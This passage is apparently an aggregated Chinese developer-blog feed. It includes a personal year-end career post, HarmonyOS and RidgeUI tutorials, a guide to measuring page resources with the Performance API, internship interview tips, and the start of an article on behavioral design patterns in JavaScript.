大茹真的很用心,大到段落语句、文档结构,小到标点符号,都有她的批注,常常一篇文章几十个批注评论。我的语言组织能力是在这时候真正提高起来的,她是我最重要的一位老师。因为与大茹的合作非常默契,所以我在一年内上线了两本掘金小册,分别是 SSR 和 单测方向。

相比掘金小册带来的一些经济和虚名收益,大茹对我的影响要深远得多,语言的组织不仅在技术文章中受益,同时也能让当时有抑郁症的我有了更多用文字与他人分享心里想法的机会。

image.png

后面大茹离职了,我也没有再写过小册,我想相比写小册,更加让我开心的事其实是有一个志同道合的朋友,虽然专业的方向不同,却能通过文字之间产生联系,真的是一段难忘的经历。

青训营讲师 & 评委

得益于掘金小册的经历,上线后小册评价不错,恰逢青训营活动的时间,对应的运营同学联系到了我,希望可以给大学生们上一节 Next.js 方向的课程。不过我当时比较 I ,没有在这么多人面前上课的经验,所以会有不安感,担心做不好。最后在柏阳的鼓励下,我还是决定试一试~

答应下来以后,每次在回家路上我都会自言自语、自问自答,周末就在家备课。当然走在路上一直自言自语,可能被人当成傻子,还有安全问题,大家不要学我@。@

image.png

经过一段时间的苦练,我已经能做到不管当着多少人说话,都假装只有我自己一个人了,最后课程也非常顺利地讲了下来。课程后收到很多同学的留言和笔记,看到自己的课程能够帮助到大家,我很开心,恍恍惚惚间能看到曾经迷茫的自己,一点指路或者帮助都会感动很久,青训营的过程真的治愈了我很多。

image.png

讲完课以后还需要布置大作业,帮批改打分,这也是挺有意思的。有一些同学的作业真的让我很惊艳,专业度+额外做得事情让我都自愧不如。

image.png

还收到很多虽然稚嫩但有创意的作业,比如交了一篇论文的小组🤣,我拟这大作业题目的时候着实没想到还能进行国内外研究现状分析=。=也希望他们未来能越来越好。

王者荣耀比赛

我大学当过一会儿代练,赚点生活费,小号70%胜率李信不和嘻嘻哈哈😁

后面互娱这边组织了保卫发际线的比赛,组织过两场,第一次我们的团队拿了第一,当时也没拍个合影,仅剩的一位同学鸿阳 ,剩下的老哥们也都离职了,刚组队的时候我还有点放不开,毕竟鸿阳那时候是我的纪委😁万一没带飞体验不好,要被锤了...

因为纪委的压迫感,前期训练和比赛我还是非常彬彬有礼的^^不过打到决胜局,我激动起来直接放飞自我了:

兰陵王(鸿阳)去上路故意露个视野,带他们绕一圈,别怕死快去送😁多拖一会儿

最后因为鸿阳的牺牲,决胜局拿下了😁最后还是很高兴的,可惜后面没机会再组队打一次,不愧是字节第一兰陵王绝活哥!后面鸿阳组织架构也调整到了其他部门,痛失好纪委一枚

后面还再组队打过一场,这次是和柏阳组队,阵容还是很豪华的,毕竟柏阳是 2300 分多国服打野😁组队以后柏阳 带着我们下班以后日常排练,赛后复盘,还专门写了一个文档分析各个队伍的阵容。。。

大佬具象化了,恐怖如斯。可惜最后止步四强,对手很强,我们也出现了一些小意外(浪得飞起、弱网)

image.png

清华大学出版社 & 第一本纸质书 & 半吊子作家?

在写掘金小册的时候,我就一直在想什么时候自己也可以写一本纸质书,后面因为在社区里的一些分享原因,有社里的编辑找到我......

和之前的经历类似,人在面对未知的事情时是不自信且不安的,也问过一些朋友的意见,有赞同的,也有建议我别被骗子骗了的hahaha......在调查过编辑的真实性后,我决定还是接下这个不一样的人生体验。

和掘金社区不同,对出版社而言,纸质书的出版需要不小的人力物力成本,也就是说出版社得保证这书出版后能够是正收益,在签约前有多轮对作者的面试:

  • 这本书想写什么,大纲章节设计
  • 市场上是否有同类型书籍,这本书与同类型书籍的差异在哪里,是为了解决什么问题
  • 这本书面向的用户群体是谁,为什么你会觉得他们会选择你这本书

经过一个多月紧张刺激的面试审核流程,最终的选题也是通过了~

image.png

不过签约才只是开始,纸质书有更多的字数和内容要求,且对排版、内容、格式都会更加严格,从 2023.11 开始,我一直写到了 2024.10 ,因为还负责对应的业务和技术建设的推进,所以这段时间真的很忙,差不多节奏是:

  • 早上 7:00 - 10: 00 看技术文献、写稿子、写示例代码
  • 10: 30 - 21: 30 处理工作
  • 10:00 - 12:00 整理早晨的稿件格式,或者继续未完成的部分
  • 没有周末,看文章、写稿、写代码

交稿后紧接着又是逐字逐句的改造,这个更加严格,第一轮改稿下来几乎重写了一遍,整个改稿确认样式的过程又持续了几个月。改完稿件后就是找一些专家老师们帮忙写序,很感谢各位老师们对后辈拙作的支持~

到现在书号(ISBN)已经申请下来了,还在图书在版编目数据(CIP)的申请中,年后就能顺利出版了,开始确定封面了,大家觉得哪个好看一点?

image.png

MarsCode & Trae 的半年

金牌心理辅导师添富

今年9月份活水到了新的组 MarsCode,这个组真的很有意思,值得几个全中国最的称号,我个人意见的定义是:

  • 全中国研发人才密度最高的组,随便拉个路人甲就是某方向专家,或者当过 CTO / Leader (张栩老哥是真的强,组里我心里的二号心理辅导师,日常吹水精神支柱)。
  • 全中国执行力最强(可能也是最卷😁)的组,来了以后我已经不相信我自己对排期的判断了,我认为不可能的事情大家能又快又好地高质量完成,比如第一版 Native IDE 和 Trae, 做成了很多我觉得是奇迹的事情。
  • 全中国技术氛围最浓厚的组,因为专家多,每个人又是全栈,真的没有严格意义上的前端、后端、客户端的区分,可以给人的确感觉自己是工程师,而不是xx端工程师。在这里我真的看到了很多技术层面到了 2-2,3-1 甚至更高,让我自愧不如的优秀工程师,这个在业务团队真的很少见。

更有意思的是,我的老板添富 ,添富平时最喜欢说:

  • 我就是个屌丝 xxx ,管理项目的
  • 我不懂技术的 xxx,但是我是个代码喷子
  • 我请你吃饭🤭

image.png

我一直很好奇的一个点,能把这么多行业专家管得服服帖帖的老板过人之处在哪里😁

随着接触的深入,我的确发现添富属于那种技能点在某方向点满的 Leader,在管理、识人以及具体方法的总结上真的是拉满了,也许是全中国最懂管理和人的 Leader?

不过虽然添富天天把“不懂技术挂在嘴边”,但仍然可以各个行业专家聊方案聊得有来有回,所以对于他给自己不懂技术的结论,我是要打一个❓的。

还有一个有趣的点是,添富批评人从来不会让人觉得不舒服,跟合作方添富几乎没有关系不好的,真六边形战士。 尤其是最近的一个月,我已经白嫖了添富 n 次心理辅导和方法论了,我之前一直有个困惑是,自己是怎样的人,我发现自己常常既要也要,很多行为和想法是彼此矛盾的,我对自己看的不是很透彻。添富给我讲了很多,并且可以和我的所有行为匹配上,我当时的感觉是:

怎么会有人才认识我半年,结果比我还通透了解自己的?

我之前做过心理辅导【是的,就是字节心情💢】,号称标价500-1000元/小时,没任何软用,都是一些官方的台面话=。=我真的觉得,如果哪天添富不打算在互联网厂待了,开个“添富心理辅导室”

这么多好处我为啥要走呢,我是很坦诚的,不藏着掖着:

  • 我很喜欢思考和沉淀,写写文章,的确没时间写了。不过组里也不是那种瞎卷,从我体验上看,大家做的事情真的是很有挑战的,因为难度大、功能量又多、国内 AI 方向都在抢蛋糕,所以每个人都会很忙。

  • 这事还是看个人选择的,来了以后的成长一定会是超出预期的,不管是认知上的(认知上没提高,添富比你还着急😁),还是技术上的(随便拉个路人甲都是专家,各种偷学技术,想学啥这里总有人精通的),实打实的🚀班。

见了大学偶像死月老师 & 新的偶像 A 老师

从大学我就关注死月老师了,日常文章和社区分享,还有那句很有意思的“强如死月🐶”,凭一己之力拉高 P6 含金量的男人。

关键是一直以为死月老师是“胖胖、慈祥”的技术大佬形象,面基以后结果发现怎么这么帅!😁

【图就不放了,合照里的我太油了,难受得很😣】

也算是圆了大学四年和室友吹出去的牛逼,不过和死月老师的技术差距还是很大的,后面保持沉淀,希望有一天可以离大佬更近一步。

在我的技术成长过程中,死月老师像是目标和指路灯吧,我很多学习的方式或者做事的行为都是模仿死月老师的,从我个人感觉上,这样成长的确不容易迷茫,而且有明确的目标感,建议大家都选一个大佬当目标🎯

image.png

除了死月老师外,我还认识了一位非常有趣的工程师 A 。我总是喜欢喊他 A 老师,技术过硬,而且他是真的完美做到坦诚清晰、平等沟通的工程师,每次和我聊技术方案(其实就是我单方向请教 A 老师😁),他都会问我的想法是怎样的,然后我把不成熟的想法💡说了以后也会非常认真地指出里面的优缺点是什么。

image.png

刚来 Landing 第一个月的时候,我是真一点 vscode 源码看不进去,各个进程间的 attach 、通信我直接晕了......历史的 landing 文档 & 姿势也跑不起来(这个不怪我菜,写的同学也跑不起来🐶),全靠 A 老师一点点教我,那时候 A 老师也就来了几天...强如 A 😁,然后帮我 review 代码,不然我是真玩不了一点😁

最主要的是 A 不是我的 mentor ..... 我当时想的是咋会有这么好的人,真就是打黑工辅导我,后面我都不太好意思问问题,感觉拖 A 老师后腿了,真的是超级赞的一位工程师,是中国大环境中实打实配得上工程师称呼的人。

半吊子全栈 & Trae 气氛组 & 最后一本掘金小册

耳濡目染半年,跟着大佬们一起混吃混喝,也做了不少有意思的东西,算是半吊子全栈了,技术深广度都提高了很多。最近接触了一些大厂面试,目前还没挂的,每个面评都很好,真的得益于大佬们的日常教导,不过很多面试官都会问我一个问题:

你在里面是承担什么角色?

我:我就是气氛组了😁最菜的那个

说实话了,能在咱们组当个气氛选手,我也是很开心自豪的😎你们好强啊

不过在 MarsCode 待久了以后,也有一个不好的点,我会嫌弃一些面试官太菜了,真的问不出什么有深度广度的问题,和我见过的大佬们差远了,根本没办法有酣畅淋漓的技术交流嘛😁

值得一提的是,我们最近发布了 MarsCode 海外版,也就是 Trae,欢迎大家试用👏

之前立了 flag ,不写掘金小册了,但走之前还是想为这么有意思的团队、Leader 和同学们做点什么,所以还是再写最后一本吧,这本小册会在年后上线掘金,定价 0 元,感兴趣的同学可以看看

image.png

未来的打算

回流字节?

我去哪里了呢,这不重要😁但一定还是一个开放、有技术交流的地方,社区里仍然应该还能看到阿民的影子

image.png

后面我会回流字节吗? 如果有机会,一定会的,我很喜欢字节的氛围和同学们,不过估计至少也得4,5年之后了,我希望可以有更多的沉淀,以更好的状态回来

对自己的期待

对未来的自己还是有一点期待的:

  • 做真实的自己 & 同频吸引
  • 日常的沉淀 & 约稿 & 读研?
  • 关注过程 & 体验派
  • 多和有趣的人交流

by 祯民 at January 23, 2025 02:43 PM

juejin frontend

HarmonyOS 安全控件的使用 —— (2) 保存控件的使用

保存控件允许临时使用权限,不需要重复性通过权限弹窗申请权限。当用户点击该控件时,应用会获得10秒内访问媒体库特权接口的授权。

一、组件截图

保存控件通常用于保存图片或视频等,这里以图片为例,保存图片时可以配合截图工具一起使用,在原生鸿蒙中每个组件都可以使用.id("")来给组件设定一个组件名称,这个组件名称可以用户相对布局也可以用于组件截图。

这里以最简单常用的方式来实现组件截图。

Screenshot.gif

这个组件中有TexT()和Image()两个组件,我们给外面column组件组件设置.id("root"),通过componentSnapshot.get("root")来获取"root"这个id对应的组件,再进行展示即可完成组件截图。

import { componentSnapshot } from '@kit.ArkUI'
import { image } from '@kit.ImageKit'

@Entry
@Component
struct SnapshotExample {
  @State pixmap: image.PixelMap | undefined = undefined

  build() {
    Column() {
      Column() {
        Text('home')
          .fontSize(16)
        Image($r('app.media.home'))
          .autoResize(true)
          .width(200)
          .height(200)
          .margin(5)
      }
      .id("root") //设置id
      .backgroundColor(Color.White)

      Button("点击截图")
        .onClick(async () => {
          const pixmap = await componentSnapshot.get("root") //截取对应id的组件图片
          this.pixmap = pixmap //把截取到的组件图片赋给全局
        })
        .margin(10)
      Image(this.pixmap)//展现截到的组件
        .width(300)
        .height(400)
        .border({ color: Color.Black, width: 2 })
        .margin(5)
    }
    .width('100%')
    .height('100%')
    .alignItems(HorizontalAlign.Center)
  }
}

二、保存控件

调用保存控件,在点击时会根据是否有对应权限做出对应处理。 保存控件外观有严格要求,如果出现遮挡、透明、超出手机边界等会在测试上线时出现上线失败等问题。

ScreenshotTOSave.gif

``` SaveButton() .onClick(async (event: ClickEvent, result: SaveButtonOnClickResult) => { if (result === SaveButtonOnClickResult.SUCCESS) { // 免去权限申请和权限请求等环节,获得临时授权,保存对应图片 this.savePixelMapToAlbum() } else { promptAction.showToast({ message: '设置权限失败!' }) } }) ``` 当用户首次点击应用中的保存控件,系统将弹窗请求用户授权。如果用户点击“取消”,弹窗消失,应用无授权,用户再次点击保存控件时,将会重新弹窗;如果用户点击“允许”,弹窗消失,应用将被授予临时保存权限,此后点击该应用的保存控件将不会弹窗。

应用在onClick()触发回调到调用媒体库特权接口的时间间隔不能大于10秒。

三、完整代码(组件截图 -> 图片保存)

import { componentSnapshot, promptAction } from '@kit.ArkUI'
import { image } from '@kit.ImageKit'
import { photoAccessHelper } from '@kit.MediaLibraryKit';
import { fileIo } from '@kit.CoreFileKit';

@Entry
@Component
struct SnapshotExample {
  @State pixmap: image.PixelMap | undefined = undefined

  async savePixelMapToAlbum() {
    try {
      const context = getContext()
      console.log('hello context', JSON.stringify(context));
      const helper = photoAccessHelper.getPhotoAccessHelper(getContext());
      const uri = await helper.createAsset(photoAccessHelper.PhotoType.IMAGE, 'jpeg');
      const file = await fileIo.open(uri, fileIo.OpenMode.READ_WRITE | fileIo.OpenMode.CREATE);
      const imagePackerApi = image.createImagePacker();
      // 保存图片到相册,保存时可以做图片压缩
      await imagePackerApi.packToFile(this.pixmap, file.fd, { format: 'image/jpeg', quality: 98 })
      await imagePackerApi.release()
      fileIo.close(file.fd);
      promptAction.showToast({ message: '已保存至相册!' });
    } catch (error) {
      console.error('hello context' + JSON.stringify(error))
    }
  }

  build() {
    Column() {
      Column() {
        Text('home')
          .fontSize(16)
        Image($r('app.media.home'))
          .autoResize(true)
          .width(200)
          .height(200)
          .margin(5)
      }
      .id("root")
      .backgroundColor(Color.White)

      Button("点击截图")
        .onClick(async () => {
          const pixmap = await componentSnapshot.get("root")
          this.pixmap = pixmap
        })
        .margin(10)

      Image(this.pixmap)
        .width(300)
        .height(400)
        .border({ color: Color.Black, width: 2 })
        .margin(5)

      SaveButton()
        .onClick(async (event: ClickEvent, result: SaveButtonOnClickResult) => {
          if (result === SaveButtonOnClickResult.SUCCESS) {
            // 免去权限申请和权限请求等环节,获得临时授权,保存对应图片
            this.savePixelMapToAlbum()
          } else {
            promptAction.showToast({ message: '设置权限失败!' })
          }
        })
    }
    .width('100%')
    .height('100%')
    .alignItems(HorizontalAlign.Center)
  }
}

by 浮生一阙 at January 23, 2025 02:05 PM

RidgeUI开发入门教程(二)数据连接与交互

数据连接与交互

您可能看到了,上一节,在文本中输入文字,下面的显示也随之变化。这就是数据的连接:

  • 组件按连接的数据进行实时更新显示
  • 用户操作的交互会触发数据变化

alt text

上面例子中,输入框修改造成名称变化, 而名称变化又更新到文本内容。 点击按钮造成名称变化,名称变化同时更新了输入框和文本。

在这里,输入框较为特殊,他既能接受变化,又能发出变化。很多组件例如输入框、下拉选择、单选框、多选框、标签页等都有类似功能。

但无论如何,设计页面我们只需要考虑如何连接属性、如何处理交互即可。

一个复杂些的示例

为了巩固上述概念, 我们制作一个地图页面, 页面中会显示北京市地图, 当选择各个行政区时,地图对应部分进行高亮度显示

alt text

准备

  1. 创建页面,我们命名为 beijing
  2. 应用中添加一个地图文件,可以点此下载后添加
  3. 应用中添加一个页面脚本文件,可以点此下载后添加

放置页面的组件

打开页面,首先在脚本库选择map.js (步骤3添加的脚本)

还是从bootstrap组件库中依次向页面加入文本、 下拉选择、页签、 2个按钮。 切换组件库echarts (转存失败,建议直接上传图片文件 ) ,向页面放入地图组件

配置连接、交互

组件属性连接/配置值
页签当前项区域值
页签项区域列表
下拉选择当前项区域值
选项区域列表
区域地图地理JSON文件110000.json
数据图表当前选中
组件交互处理动作
区域地图区域读取设置区域列表
上一个点击上一个
下一个点击下一个

预览运行

点击下拉项、或者切换选择时, 地图区域会随之联动

回顾

虽然我们只配置了各种组件的连接和交互, 但实际整体页面数据是这样变化的:

  1. 地图配置了地理JSON文件时,会产生个动作(注意,动作不一定由使用者触发, 组件自己本身也会发出动作)。 动作的交互,触发-设置区域列表
  2. 区域列表改变,触发下拉框和标签组件显示出区域的列表
  3. 用户切换区域(或点击上一个、下一个), 触发当前区域发生变化
  4. 区域变化触发名称改变,使文本内容发生变化
  5. 触发图表选中发生改变,使地图对应区域高亮

这实际在前端开发中被成为“页面数据流“。它的特点就是组件之间没有发生直接交互,每个组件都和数据进行单向或双向的连接,方便了配置过程。

更多了解

附录

map.js 点此下载


export default {
  name: 'MapToggle',
  state: {
    currentIndex: 0, // 区域值
    features: [] // 区域列表
  },

  computed: {
    currentName () { // 当前区域名称
      return this.features[this.currentIndex]?.label
    },
    currentRegion () {  // 图表当前选中
      return [{
        name: this.currentName,
        value: 40
      }]
    }
  },

  actions: {
    setFeatures (list) {  // 设置区域列表
      this.state.features = list.map((t,index) => ({
        label: t,
        value: index
      }))
      this.current = list[0]
    },

    prev () { // 上一个
      if (this.currentIndex === 0) {
        this.currentIndex = this.features.length - 1
      } else {
        this.currentIndex --
      }
    },

    next () { // 下一个
      if (this.currentIndex === this.features.length - 1) {
        this.currentIndex = 0
      } else {
        this.currentIndex ++
      }
    }
  }
}

by 锐小制 at January 23, 2025 01:38 PM

页面性能检测的实现方案

在网页开发过程中,性能检测是优化用户体验的重要环节。通过合理使用浏览器提供的 Performance API,可以高效获取页面加载和资源使用情况的数据。本方案从资源统计、缓存识别、执行环境等角度深入探讨性能检测的技术细节。


1. 资源统计方案

实现原理

Performance API 提供了获取页面性能数据的接口,可以捕获页面导航、资源加载的详细信息。通过对这些数据进行处理,可以分析页面的资源加载效率和网络传输情况。

核心 API

  • performance.getEntriesByType('navigation')
    获取页面导航性能数据,例如首屏加载时间、重定向时间等。
  • performance.getEntriesByType('resource')
    获取页面加载的资源性能数据,包括 JS、CSS、图片等静态资源的加载信息。
  • PerformanceResourceTiming.transferSize
    标识资源的实际传输大小,用于判断资源加载是否从服务器获取。

2. 资源计算逻辑

资源数量统计

通过 transferSize 属性过滤掉缓存资源,仅统计实际从服务器传输的资源数量:

const allResources = [
  ...performance.getEntriesByType("navigation"),
  ...performance.getEntriesByType("resource"),
];

// 筛选出有效资源(从服务器下载的资源)
const validResources = allResources.filter((resource) => resource.transferSize > 0);

console.log(`总资源数量: ${allResources.length}`);
console.log(`有效资源数量: ${validResources.length}`);

资源大小计算

累加所有有效资源的传输大小,计算总大小并转换为 KB 单位:

const totalSize = validResources.reduce((total, resource) => {
  return total + resource.transferSize; // 累加资源的 transferSize
}, 0);

const sizeInKB = (totalSize / 1024).toFixed(2);
console.log(`资源总大小: ${sizeInKB} KB`);

3. 缓存识别机制

缓存资源的识别可以通过 transferSize 属性实现:

  • transferSize > 0: 资源是从服务器传输的。
  • transferSize = 0: 资源是从浏览器缓存加载的。

示例代码:

validResources.forEach((resource) => {
  console.log(
    `${resource.name} - ${resource.transferSize > 0 ? "从服务器加载" : "从缓存加载"}`
  );
});

通过这种方式,可以统计缓存资源的比例,评估页面缓存命中率,帮助优化缓存策略。


4. 执行环境

在一些特殊场景(如跨域、页面权限限制)下,需要通过扩展或脚本注入方式执行性能检测逻辑。

浏览器扩展中的执行

  1. 注入性能脚本
    使用 chrome.scripting.executeScript 在目标页面注入检测脚本:

    chrome.scripting.executeScript({
      target: { tabId: activeTabId },
      func: () => {
        const resources = performance.getEntriesByType("resource");
        console.log("资源列表:", resources);
      },
    });
    
  2. 避免脚本冲突
    设置脚本在 ISOLATED 世界中执行,避免与页面 JavaScript 冲突,同时确保性能数据的完整访问权限。

执行环境检测

由于部分性能数据可能被跨域限制,需提前检测是否有权限访问目标页面的 Performance 数据。


性能检测的实际应用

1. 优化资源加载

通过分析资源加载的数据,可以:

  • 找出资源加载时间过长的静态文件。
  • 优化大文件的加载方式(如按需加载或延迟加载)。

2. 评估缓存策略

通过缓存命中率的分析,优化缓存策略,例如:

  • 增加资源的缓存时间(TTL)。
  • 使用服务端生成的强缓存策略(如 ETagCache-Control)。

3. 支持性能监控

将检测逻辑封装为 API,定期抓取性能数据并存储到后端系统,生成性能报告。

例如,定时获取某些页面的性能数据并上传:

function sendPerformanceData() {
  const data = performance.getEntriesByType("resource").map((r) => ({
    name: r.name,
    duration: r.duration,
    transferSize: r.transferSize,
  }));

  fetch("https://your-backend-api.com/performance", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(data),
  });
}

总结

通过 Performance API 和相关技术,性能检测不仅能为开发者提供清晰的资源加载数据,还能帮助优化资源加载效率和缓存策略。在此方案中,我们实现了:

  1. 资源统计:获取页面的资源加载数量和总大小。
  2. 缓存识别:区分资源加载方式,提高缓存利用率。
  3. 执行环境:支持浏览器扩展或脚本注入方式,满足复杂场景需求。

未来可进一步扩展性能检测方案,例如监控用户交互性能或绘制时间序列图,持续优化页面性能体验。

by 元之贞 at January 23, 2025 01:12 PM

juejin career

字节跳动丨日常实习面试记录

前言:

现在是2025.01.23,也是好久没有更新博客了,去年一整年都在沉淀,现在逐步可以开始恢复更新了!

🤗个人主页📦Github主页💠掘金主页📚知乎主页

2025.01.22已接受Offer,正值春节前夕,也算是在新的一年里,给自己一个新的开始吧!

并不算是面经,算是一个记录吧,主要是因为我一直是那种“考完试就忘了题目”的类型。

非干货,希望能对你有一些思路上的启发!

image.png

零、个人情况参考

  • 2025届北京某双非本科生,在人才市场上应该属于不上不下的那种(笑)😇
  • AI专业,大四在读,有三年的联合培养经验(有兴趣了解的话详见🖼️Welcome
  • 有两段实习,一段在美团做大模型预训练,一段在某小厂做大模型RAG
  • 有一些没太大价值的竞赛奖项和经历,权当是填补简历的空白了
  • 面的岗位是做大模型代码辅助的相关内容,CQC团队

一、字节给我的First Impression:快

  1. 面试的流程快:

    • 20号上午技术面
    • 21号上午HR面,下午口头Offer
    • 22号上午邮件Offer
  2. 面试的节奏快:进入会议,就直接介绍岗位,自我介绍,问简历,写题等等

与此同时,我也在投其他的厂,虽然效率也还可以,但相比之下就很明显地感觉到字节的快。虽然这也让我有一点小担心,或许工作时候的节奏也会很快,不过我感觉实习生的话应该还好吧,希望如此。

二、面试的一些经验

  1. 自我介绍:

    • 关于背稿:个人感觉最好不要背稿子,万一中途忘了哪里,就容易慌张,从而影响接下来的发挥(当然主要是因为我背不下来,背诵能手可自行选择),我采用的方法是背个大框架,然后临场填充细节。
    • 关于练习:面试前建议自己录制三次以上,每次进行迭代优化。
    • 要有逻辑:分点来说,逻辑连接词不要省。
    • 主次分明:尽可能扬长避短(这并不意味着短板可以放任不管),像是一些与目标岗位不太相关的经历一笔带过即可。
  2. 深挖经历:

    • 自己一定能要说明白自己做过的工作和内容,可以丢给AI来提问,AI的多角度提问还是不错的。
    • 项目能有repo的话最好,这样可以避免被怀疑是临时“背”的项目。
  3. 专业知识:

    • 貌似大模型现在问的场景问题比较多,当然有时间精力的话把八股也准备好也是比较保险的。
  4. 代码题:

    • 这倒是没什么好说的,多练即可,重点练习搜索和DP吧。
  5. 高频问题:

    • Q:你为什么选择这个岗位 / 我们公司?
    • Q:你在工作中曾经遇到过什么困难,是如何解决的?
    • Q:你这边还有什么问题吗?(这里一定要准备1~2个问题,如果没有问题的话,很容易被横向)

注:以上问题不限于字节,是很多厂通用的。


后续会持续更新技术和生活相关的内容,如果喜欢或者对你有帮助的话,不妨👍支持一下,欢迎关注!

by Conqueror712 at January 23, 2025 12:37 PM

juejin frontend

从前端视角看设计模式之行为型模式篇

上篇我们介绍了 设计模式之结构型模式篇,接下来介绍设计模式之行为型模式篇

责任链模式

责任链模式允许将请求沿着一条链传递,直到有一个对象处理它为止。每个处理者都有机会处理该请求,或者将其传递给链中的下一个处理者,每个处理者只关心自己能处理的请求,而不关心请求的来源和链中的其他处理者


它的使用场景如下:

1)当有多个对象可以处理请求,且具体由哪个对象处理由运行时决定时

2)当需要向多个对象中的一个提交请求,而不想明确指定接收者时

3)在实际应用中,广泛应用于权限管理、审批流程等场景


责任链模式包含以下几个主要角色:

1)抽象处理者

负责定义处理请求的接口,通常包含一个指向下一个处理者的引用,若不能处理请求,则将请求传递给下一个处理者

2)具体处理者

继承自抽象处理者,实现具体的请求处理逻辑

3)客户端

向链上的处理者发出请求


通过以下这个审批系统来理解责任链模式,涉及多个审批角色,如经理、总监、CEO,每个角色都有不同的审批权限

1)定义请求类

包含请求的内容

// 定义请求类
class Request {
    constructor(amount, description) {
      this.amount = amount
      this.description = description
    }
}

2)定义抽象处理者

声明一个方法来处理请求,并定义一个指向下一个处理者的引用

// 定义抽象处理者类
class Approver {
    constructor(name) {
      this.name = name
      this.nextApprover = null // 下一位审批者
    }
    setNext(approver) {
      this.nextApprover = approver
    }
    // 处理请求的方法,具体逻辑由子类实现
    approve(request) {
      if (this.nextApprover) {
        this.nextApprover.approve(request)
      } else {
        console.log('没有审批者可以处理这个请求')
      }
    }
}

3)定义具体处理者

实现请求的处理逻辑,若无法处理则交给下一个处理者

// 定义具体处理者类:经理、总监、CEO
class Manager extends Approver {
    approve(request) {
      if (request.amount <= 1000) {
        console.log(`${this.name} 批准了 ${request.description},金额: ${request.amount}`)
      } else if (this.nextApprover) {
        console.log(`${this.name} 无权批准该请求,转交给 ${this.nextApprover.name}`)
        this.nextApprover.approve(request)
      }
    }
}
class Director extends Approver {
    approve(request) {
      if (request.amount <= 5000) {
        console.log(`${this.name} 批准了 ${request.description},金额: ${request.amount}`)
      } else if (this.nextApprover) {
        console.log(`${this.name} 无权批准该请求,转交给 ${this.nextApprover.name}`)
        this.nextApprover.approve(request)
      }
    }
} 
class CEO extends Approver {
    approve(request) {
      console.log(`${this.name} 批准了 ${request.description},金额: ${request.amount}`)
    }
}

4)客户端

创建并发出请求

// 客户端代码
const manager = new Manager('经理')
const director = new Director('总监')
const ceo = new CEO('CEO')

// 设定审批链:经理 -> 总监 -> CEO
manager.setNext(director)
director.setNext(ceo)

// 发起请求
const request1 = new Request(500, '购买办公设备')
manager.approve(request1)

const request2 = new Request(3000, '购买电脑')
manager.approve(request2)

const request3 = new Request(10000, '购买企业级服务器')
manager.approve(request3)

执行代码,运行结果如下:

命令模式

命令模式将一个请求封装为一个对象,从而可以用不同的请求对客户进行参数化,对请求排队或记录请求日志,以及支持可撤销的操作


它的使用场景如下:

1)当需要对行为进行记录、撤销/重做或事务处理时


命令模式包含以下几个主要角色:

1)命令

命令接口,声明一个执行操作的方法

2)具体命令

实现命令接口,负责执行具体操作,通常包含对接收者的引用,通过调用接收者的方法来完成请求的处理

3)接收者

知道如何执行与请求相关的操作,实际执行命令的对象

4)调用者

发送命令的对象,它包含了一个命令对象并能触发命令的执行,调用者并不直接处理请求,而是通过将请求传递给命令对象来实现

5)客户端

创建具体命令对象并设置其接收者,将命令对象交给调用者执行


通过以下这个遥控器控制家电来理解命令模式,将每一个开关的操作封装成命令对象,并通过遥控器来调用这些命令

1)命令接口

定义一个命令接口,包含一个执行方法execute()

// 定义命令接口
class Command {
    execute() {
      throw new Error("execute() 必须被实现")
    }
}

2)具体命令

实现命令接口,具体实现每个命令的操作

// 具体命令 - 开灯命令
class LightOnCommand extends Command {
    constructor(light) {
      super()
      this.light = light
    }
    execute() {
      this.light.turnOn()
    }
}
// 具体命令 - 关灯命令
class LightOffCommand extends Command {
    constructor(light) {
      super()
      this.light = light
    }
    execute() {
      this.light.turnOff()
    }
}
// 具体命令 - 开风扇命令
class FanOnCommand extends Command {
    constructor(fan) {
      super()
      this.fan = fan
    }
    execute() {
      this.fan.turnOn()
    }
}
// 具体命令 - 关风扇命令
class FanOffCommand extends Command {
    constructor(fan) {
      super()
      this.fan = fan
    }
    execute() {
      this.fan.turnOff()
    }
}

3)接收者

具体的家电设备(灯和风扇),每个设备都有开和关的操作

// 接收者 - 灯类
class Light {
    turnOn() {
      console.log("灯已打开")
    }
    turnOff() {
      console.log("灯已关闭")
    }
}
// 接收者 - 风扇类
class Fan {
    turnOn() {
      console.log("风扇已打开")
    }
    turnOff() {
      console.log("风扇已关闭")
    }
}

4)调用者

遥控器,通过调用命令对象的execute()方法来执行命令

// 调用者 - 遥控器类
class RemoteControl {
    constructor() {
      this.command = null
    }
    setCommand(command) {
      this.command = command
    }
    pressButton() {
      this.command.execute()
    }
}

5)客户端

客户端创建命令对象,并设置对应的设备

// 客户端代码
const light = new Light()
const fan = new Fan()

// 创建命令对象
const lightOn = new LightOnCommand(light)
const lightOff = new LightOffCommand(light)
const fanOn = new FanOnCommand(fan)
const fanOff = new FanOffCommand(fan)

// 创建遥控器
const remote = new RemoteControl()

// 按下按钮执行开关命令
remote.setCommand(lightOn)
remote.pressButton()  // 灯已打开

remote.setCommand(fanOn)
remote.pressButton()  // 风扇已打开

remote.setCommand(lightOff)
remote.pressButton()  // 灯已关闭

remote.setCommand(fanOff)
remote.pressButton()  // 风扇已关闭

解释器模式

解释器模式用于给定语言的句法(语法规则)提供一个解释器,这个解释器使用该表示来解释语言中的句子


它的使用场景如下:

1)当某一特定类型的问题频繁出现,并且可以通过一种简单的语言来表达这些问题的实例时

2)应用于编程语言的解释器、数学表达式计算、规则引擎


它的优缺点:

1)优点

  • 适用于需要解释计算规则的场景,如小型语言解析、脚本语言等
  • 可以通过扩展表达式类层次来增加新的语法规则,而不影响其他类

2)缺点

  • 当文法非常复杂时,解释器模式会产生非常庞大的类层次结构,难以维护
  • 性能较低,因为每次计算都需要遍历语法树

解释器模式包含以下几个主要角色:

1)抽象表达式

每个解释器的角色,通常是一个抽象类或接口,声明了解释方法

2)终结符表达式

实现抽象表达式接口的具体类,用于解释基本的语法规则

3)非终结符表达式

也是实现抽象表达式接口的具体类,用于处理复合的语法规则

4)上下文

包含解释过程中需要的全局信息,如环境数据

5)客户端

通过构建抽象表达式对象,并将表达式组合成语法树来使用解释器


通过以下这个数学表达式计算来理解解释器模式,通过解释器模式实现一个简单的计算器,解析并计算表达式

1)定义抽象表达式

每个表达式都要实现一个interpret方法

// 抽象表达式
class Expression {
    interpret(context) {
      throw new Error("必须实现 interpret 方法")
    }
}

2)实现终结符表达式

如数字和操作符

// 终结符表达式 - 数字
class NumberExpression extends Expression {
    constructor(value) {
      super()
      this.value = value
    }
    interpret(context) {
      return this.value
    }
}

3)实现非终结符表达式

如加法和减法的组合表达式

